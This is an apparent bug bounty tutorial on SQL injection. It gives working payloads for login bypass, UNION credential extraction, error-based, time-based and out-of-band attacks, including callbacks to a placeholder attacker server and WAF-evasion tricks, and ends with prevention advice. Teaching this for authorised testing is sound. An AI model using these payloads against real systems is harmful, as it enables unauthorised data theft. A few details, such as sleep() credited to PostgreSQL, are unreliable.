Vulnerability series: SQL injection

August 12, 2025

Vulnerability vectors: SQL injection for Bug Bounty hunters

Behind every SQL query hides an opportunity: a carefully crafted payload can elicit sensitive data long after obvious error messages have been addressed.

In this guide, we explain basic and advanced SQL injection (SQLi) techniques, including blind SQLi, time-based attacks and out-of-band (OOB) callbacks.

You'll learn how to tailor payloads to the SQL statement in play, incorporate them into your Bug Bounty workflow, and detect and exploit SQLi vulnerabilities – even in hardened systems.

Outline

  • What is SQL?
  • Understanding SQL Injection – definition, impact and Bug Bounty earnings
  • Security impact of SQL injection attacks
  • Why SQLi vulnerabilities persist despite improved protections
  • Simple SQLi: detecting vulnerabilities by analysing responses
  • SQL statement cheat sheet
    - SELECT statement injection
    - UPDATE statement injection
    - DELETE statement injection
    - INSERT statement injection
    • Boolean-based SQL injection
    • UNION SQLi attacks
    • Error-based SQLi attacks
  • Advanced techniques: blind SQL injection
    • Time-based SQL injection
      • Time-based SQLi scenario
      • Exploitation workflow of a time-based SQLi
    • Out-of-Band (OOB) SQL injection via DNS/HTTP callbacks
      • Out-of-band SQLi scenario
      • Out-of-band exploit workflow
    • Second-Order SQL injection
      • Second-order SQLi scenario
      • Second-order SQLi workflow
  • Crafting adaptive payloads
    • Building context-aware payloads
  • Bypassing modern WAFs with SQL injection
    • Replacing spaces with comments
    • Using newlines instead of spaces
    • Leveraging parentheses
    • Mixing capitalisation
    • Recommended SQL injection exploitation tools
  • SQL injection prevention & best-practice defences
  • Conclusion & Next Steps for Bug Bounty Hunters

What is SQL?

SQL stands for Structured Query Language. It’s the primary way of interacting with relational databases, which store data in rows and columns (tables), like a spreadsheet. SQL commands such as SELECT, INSERT, UPDATE, and DELETE allow developers to efficiently organise, retrieve and modify information.

For example, if a website needs to check a user’s token, it might run a query like:

SELECT * FROM users WHERE username = 'guest' AND token = 'sometoken';

This tells the database: “Find every row in the users table where the username is guest and the token is sometoken.”

By splitting data into clearly defined tables, SQL makes it easy for developers to build a wide variety of features, from simple user profiles to recommendation engines – which is why it powers everything from personal blogs to enterprise applications. Learning about various SQL statement structures will help you tailor payloads to your target.

Understanding SQL Injection – definition, impact and Bug Bounty earnings

SQL injection (SQLi) occurs when untrusted input is embedded into an SQL query in a way that alters its intended logic – often leading to unauthorised data access, modification or deletion. First documented in the late 1990s, SQLi bugs have become somewhat less prevalent over time due to the use of parameterised queries, ORMs (Object-Relational Mappers) and secure frameworks. However, they remain common and are frequently classed as high or critical severity vulnerabilities – earning significant rewards for Bug Bounty hunters.

As an ethical hacker, you will frequently encounter endpoints whose user-supplied parameters map directly to backend database queries. Have you ever noticed an error, strange behaviour or inconsistent response times after submitting unexpected characters or timing-based payloads? Those quirks are your first hint that an endpoint might be injectable.

In the modified query below, A hunter sets username = 'z' (so likely false) and appends an OR 1=1 clause that is always true, followed by a comment sequence that ignores the rest of the statement, thereby bypassing the token check:

SELECT * FROM users WHERE username = 'z' OR 1=1 -- -' AND token = 'sometoken';

This modifies the original SQL query structure, making the WHERE clause always evaluate to true.

This visualisation shows how SQL injection works:

Security impact of SQL injection attacks

Successful SQL injection attacks enable attackers to interact directly with the application’s backend database, which can cause operational disruption or large-scale data breaches. Depending on privileges and security context, attackers can:

  • Exfiltrate data
  • Modify or delete records
  • Escalate privileges
  • Achieve remote code execution (RCE) by abusing file-write or upload capabilities to inject a malicious payload

Why SQLi vulnerabilities persist despite improved protections

Despite the introduction of defences such as prepared statements and Object–Relational Mappers (ORMs), SQL injection vulnerabilities continue to persist in legacy systems as well as surface in modern applications. Take CVE-2022-21661, which affected the WP_Query function used by WordPress to sanitise SQL queries with prepared statements. Due to improper handling of user input, SQL injection was still possible.

Simple SQLi: detecting vulnerabilities by analyzing responses

Let’s kick off with some comparatively simple techniques. Consider a website that leverages SQL for product search functionality.

A query for a non-existent product should return no results:

http://example.com/search?query=notexist

If the application is vulnerable to SQLi, a boolean-based payload that always returns true could return unexpected results:

http://example.com/search?query=notexist' OR true-- -

Alternatively, injecting a single quotation mark (') may trigger a database error or 500 Internal Server Error, indicating improper input sanitisation:

http://example.com/search?query=notexist'

Time-based SQLi, a more complicated variant, abuses delays in query execution. For example, in PostgreSQL, the following payload forces a four-second delay if vulnerable:

http://example.com/search?query=noexist' OR sleep(4) -- -

SQL statement cheat sheet

SQL injection vulnerabilities can occur wherever user input is incorporated into SQL queries. It’s wise to manually pinpoint where and how your input is handled by the database before you launch automated tools.

Each clause, such as WHERE, VALUES and SET, has its own escape hatch. Knowing your injection context determines whether you break out with a quote, parenthesis or UNION.

SELECT statement injection

Fetching an article based on its id:

SELECT author, article FROM posts WHERE postid = <payload_1>;

Searching for products in an e-commerce web application:

SELECT item, price FROM products WHERE item LIKE '%<payload_1>%' OR description LIKE '%<payload_2>%';

UPDATE statement injection

Update blog post comment:

UPDATE comments SET comment = '<payload_1'> WHERE id = <payload_2> AND owner = '<payload_3>';

DELETE statement injection

Delete file from users archive:

DELETE FROM files WHERE id = <payload_1> AND owner = '<payload_2>';

INSERT statement injection

Register a new user:

INSERT INTO users (username, email, password)
VALUES ('<payload_1>', '<payload_2>', '<payload_3>');

Boolean-based SQL injection

Boolean-based SQL injection is a form of blind SQLi, which means attackers sends crafted inputs that cause the database to return either true or false conditions. By comparing the application’s behaviour for true versus false conditions, they can infer what’s happening behind the scenes and gradually extract data.

Imagine a login form where the user submits a login and username and password, as demonstrated by this raw HTTP request:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=guest&password=guest

And behind the scenes, the application runs this query:

SELECT username FROM users WHERE username == '<payload_1>' AND password == '<payload_2>';

An attacker might try something like this:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=noexist' OR 1=1 -- -&password=guest

This would modify the SQL query to:

SELECT username FROM users WHERE username == 'noexist' OR 1=1 -- -' AND password == '<payload_2>';

The condition OR 1=1 obviously always evaluates to true. This renders the username check irrelevant and, combined with the SQL comment sequence -- -, causes the database to ignore the rest of the query. A successful SQLi here allows the attacker to log into the first user record – usually the administrator’s account.

UNION SQLi attacks

UNION-based SQLi attacks leverage the UNION operator to trick a website into combining the results of multiple SELECT queries – allowing attackers to extract sensitive data such as usernames, emails or passwords. The attack only works if the queries have matching column counts and compatible data types.

Imagine a website has this URL:

https://example.com/product?id=2

And behind the scenes, the application runs:

SELECT name, price FROM products WHERE id = 2;

If this input is not properly sanitised, an attacker might try injecting a UNION operator that pulls the username and password from the database:

https://example.com/products?id=5 UNION SELECT username, password FROM users;

Resulting query:

SELECT name, price FROM products WHERE id = 2
UNION
SELECT username, password FROM users;

If successful, the SQLi would then result in the web page displaying user credentials as well as product details.

Error-based SQLi attacks

Error-based SQL injection attacks trigger database errors that leak information from verbose error messages. Unlike blind SQLi, error-based attacks retrieve data directly via reflected error output.

Let’s imagine a website that takes a product ID from the URL:

https://example.com/product?id=1

Internally, it might run a query like:

SELECT name, price FROM products WHERE name = 'somename';

An attacker might try using the CAST operator to force a SQL error:

https://example.com/product?id=hoodie' AND 1=CAST((SELECT password FROM users) AS int)-- -

The subsequent error message might display the password for all users because the database tried and failed to convert the password value into an integer.

Advanced techniques: blind SQL injection

Blind SQLi techniques are useful when HTTP responses fail to return query results or details of database errors, because they can detect vulnerabilities by asking the database true or false questions instead.

Tip: Always test SQLi payloads in a controlled environment before targeting production systems.

Time-based SQL injection

Time‑based SQLi attacks inject payloads that intentionally delay execution, allowing attackers to measure latency in order to confirm vulnerabilities. This method works particularly well against JSON APIs that provide uniform responses (regardless of internal errors), because it doesn’t rely on visible errors or changes in response content.

MySQL time-based payloads:

x'XOR(IF(NOW()=SYSDATE(),SLEEP(5),0))XOR'

Or:

'x AND BENCHMARK(40000000,SHA1(1337))-- -

MSSQL time-based payload:

x'; IF (true) WAITFOR DELAY '0:0:05'--

Time-based SQLi scenario

Imagine you’re interacting with an API that fetches blog articles via an id parameter in the JSON body. Providing an invalid ID returns no data at all. If an API returns identical responses regardless of errors, it’s difficult to discern whether an SQLi flaw is present. But it’s possible, since you know it retrieves data from a database behind the scenes.

In these situations, a time-based SQLi can be very powerful. By sending specially crafted payloads that delay the database process, you can measure how long it takes the server to respond. Consistently delayed responses triggered by a specific payload indicate that SQLi is possible, even when no error messages or data are returned.

Exploitation workflow of a time-based SQLi

In the visual workflow below, a SQL injection payload causes the application to execute an SQL statement that delays the database response by five seconds – indicating the presence of an SQL injection vulnerability.

An attacker can then combine time-based and Boolean techniques by injecting a CASE expression. If the condition evaluates to true, a delay occurs – signalling to the attacker that the guessed data was correct. Repeating this process allows the attacker to extract data bit by bit.

Out-of-band (OOB) SQL injection via DNS/HTTP Callbacks

Out-of-band (OOB) SQL injection is used when direct database interaction (in-band) or error-based responses are restricted or unreliable. An OOB payload forces the database server to issue DNS or HTTP requests to an attacker-controlled server.

For instance, in MySQL you can abuse LOAD_FILE() or SELECT ... INTO OUTFILE to trigger a DNS/HTTP callback:

SELECT 1 INTO OUTFILE '\\\\__ATTACK_SERVER__\SQLiOOB'

With Microsoft SQL, an OOB payload might look like:

exec master..xp_dirtree '//__ATTACK_SERVER__/SQLiOOB'

Reference: Portswigger - SQL injection cheat sheet

We recommend adding a unique value (such as a subdomain) to your attack server logs, so each callback maps cleanly to a specific payload, making it easier to track vulnerable endpoints.

Out-of-band SQLi scenario

Web applications often log or store client information, such as data from cookies or headers like Referer. When this data is inserted into a SQL database asynchronously, timing-based attacks become less effective. In such cases, an OOB SQLi is ideal because it provides clear evidence of exploitation through the external callback.

Out-of-band exploit workflow

The following workflow depicts an OOB payload sent to an application, which executes a SQL statement on the database, forcing to perform a DNS/HTTP request to the attacker’s server. The attacker then knows that the application is vulnerable to a SQL injection and can plan further exploitation.

Second-order SQL injection

Second‑order SQLi occurs when malicious input is stored and executed later in a different execution path or SQL context without proper validation. This is common in microservice architectures where one service sanitises input for its own use, but another later processes the stored data unsafely.

A practical lab is available in the YesWeHack repository: Vulnerable code snippet SQLi second order

Second-order SQLi scenario

Web applications store user data in databases for later retrieval and reuse. For example, when you modify account settings, that data is stored in a database and subsequently used to configure your profile. If you inject a SQLi payload into a stored field (like a username or preference setting), you can crawl the application to locate endpoints that later extract and reuse that value. If the database fails to properly sanitise the stored value during retrieval – assuming it’s safe because it came from the database – it could create a second-order SQL injection.

Second-order SQLi workflow

The workflow below illustrates how an attacker injects a SQL injection payload, before finding an endpoint that reuses the stored value without proper sanitisation, triggering a second-order SQL injection.

Crafting adaptive payloads

With the fundamentals covered, you can now craft adaptive payload templates that automatically adjust to different SQL statements (SELECT, UPDATE, DELETE, INSERT) and database engines (MySQL, PostgreSQL, Oracle, MSSQL). Understanding the surrounding syntax – often called the ‘breakout context’ – tells you which characters safely terminate the original query before injecting your own.

Building context-aware payloads

Attempting a classic payload like x' OR 1=1 -- - inside the username field of an INSERT statement fails because it disrupts both the SQL syntax and expected number of column values:

INSERT INTO users (username, email, password)
VALUES ('<username>', '<email>', '<password_hash>');

If we exploit an SQLi inside the username field with a classic payload such as x' or 1=1 -- -, it won’t work:

INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', '098f6bcd4621d373cade4e832627b4f6');

This breaks the original SQL statement because the number of values is incorrect, and the OR clause disrupts the expected string format.

Instead, we should perform context-aware SQLi payloads such as: x'||'y or x', (SELECT ...), 'y')-- -.

These payloads properly break out of the original string and insert new SQL, or close the VALUES tuple before adding malicious input:

INSERT INTO users (username, email, password)
VALUES ('x', (SELECT ...), 'y')-- -', 'test@example.com', '098f6bcd4621d373cade4e832627b4f6');

Bypassing modern WAFs with SQL injection

Many modern WAFs attempt to block SQLi payloads, which can make a valid SQL injection appear as a false negative. To bypass WAFs in modern web applications, we can use obfuscation techniques such as replacing spaces with comments or newlines, leveraging parentheses, or mixing capitalisation to evade detection.

Replacing spaces with comments

Using SQL comments (/**/) to replace spaces can confuse signature-based filters.

Example payload:

'/**/OR/**/1=1-- -

This payload bypasses filters looking specifically for OR 1=1 by inserting /**/ (inline comments) where spaces normally appear. Most SQL engines parse it correctly, but the WAF may not recognise the modified pattern.

Using newlines instead of spaces

Replacing spaces with newline characters (\n, %0A) to split the query across lines can result in newline characters slipping past naive WAFs, which expect SQL payloads to appear on a single line. SQL engines typically treat newlines the same as spaces, so the query still executes.

Example (URL-encoded) payload:

'OR%0A1=1-- -

Leveraging parentheses

Some WAF rules block OR 1=1, but fail to detect OR(1=1). Wrapping logical expressions in parentheses changes the pattern enough to evade detection while preserving the logic.

Example payload:

'OR(1=1)-- -

Mixing capitalisation

Most SQL engines are case-insensitive, but some WAFs apply case-sensitive regex rules. Randomising the capitalisation of SQL keywords can defeat case-sensitive filters.

Example payload:

'oR 1=1-- -

Recommended SQL injection exploitation tools

SQLmap remains one of the most popular automated SQLi tools. It supports many databases and includes tamper scripts designed to circumvent WAFs.

Example SQLmap usage:

sqlmap -u 'http://example.com/search?query=test' -p query --level 2 --dbms=postgresql

This command instructs SQLmap to test the GET parameter query for SQL injection vulnerabilities, using a scan level of 2 (which includes additional payload and header testing). The --dbms flag specifies PostgreSQL, optimising detection for PostgreSQL-specific syntax and behaviour.

Burp Suite’s vulnerability scanner offers advanced scans for SQL injection vulnerabilities. It can detect the most common SQL injection vulnerabilities such as Boolean-based, time-based, UNION-based, out-of-band (OOB) and some second-order SQLi.

SQL injection prevention & best-practice defences

Securing applications against SQL injection requires thoughtful design, strong coding practices and consistent oversight. The most important best practices are:

  • Implementing parameterised queries or prepared statements to ensure user-provided data is never concatenated directly into SQL statements – the gold standard for SQLi prevention
  • Applying least-privilege database access
  • Sanitising input and validate data types
  • Performing continuous monitoring and regression tests to prevent recurrence of vulnerabilities
  • Use Web Application Firewalls (WAFs) for an extra layer of protection

Conclusion and takeaways for Bug Bounty hunters

We’ve explored the fundamentals of SQL injection, why it persists in modern applications, and the techniques and payloads for exploiting this timeless vulnerability.

This is essential knowledge for any ethical hacker or Bug Bounty hunter given the continuing prevalence, and often severity, of SQLi bugs. Remember: defensive mechanisms are still just code, and enterprising hackers always seem to find ways to bypass even well-crafted protections – which keeps SQL injection alive.

We’ll finish with some helpful best practices as you put your newly-acquired SQLi expertise to the test: make sure you understand the context of injections before mounting attacks, perform manual as well as automated testing, and keep up to date with the ongoing evolution and emergence of new SQLi variants and WAF bypass techniques.

References and further reading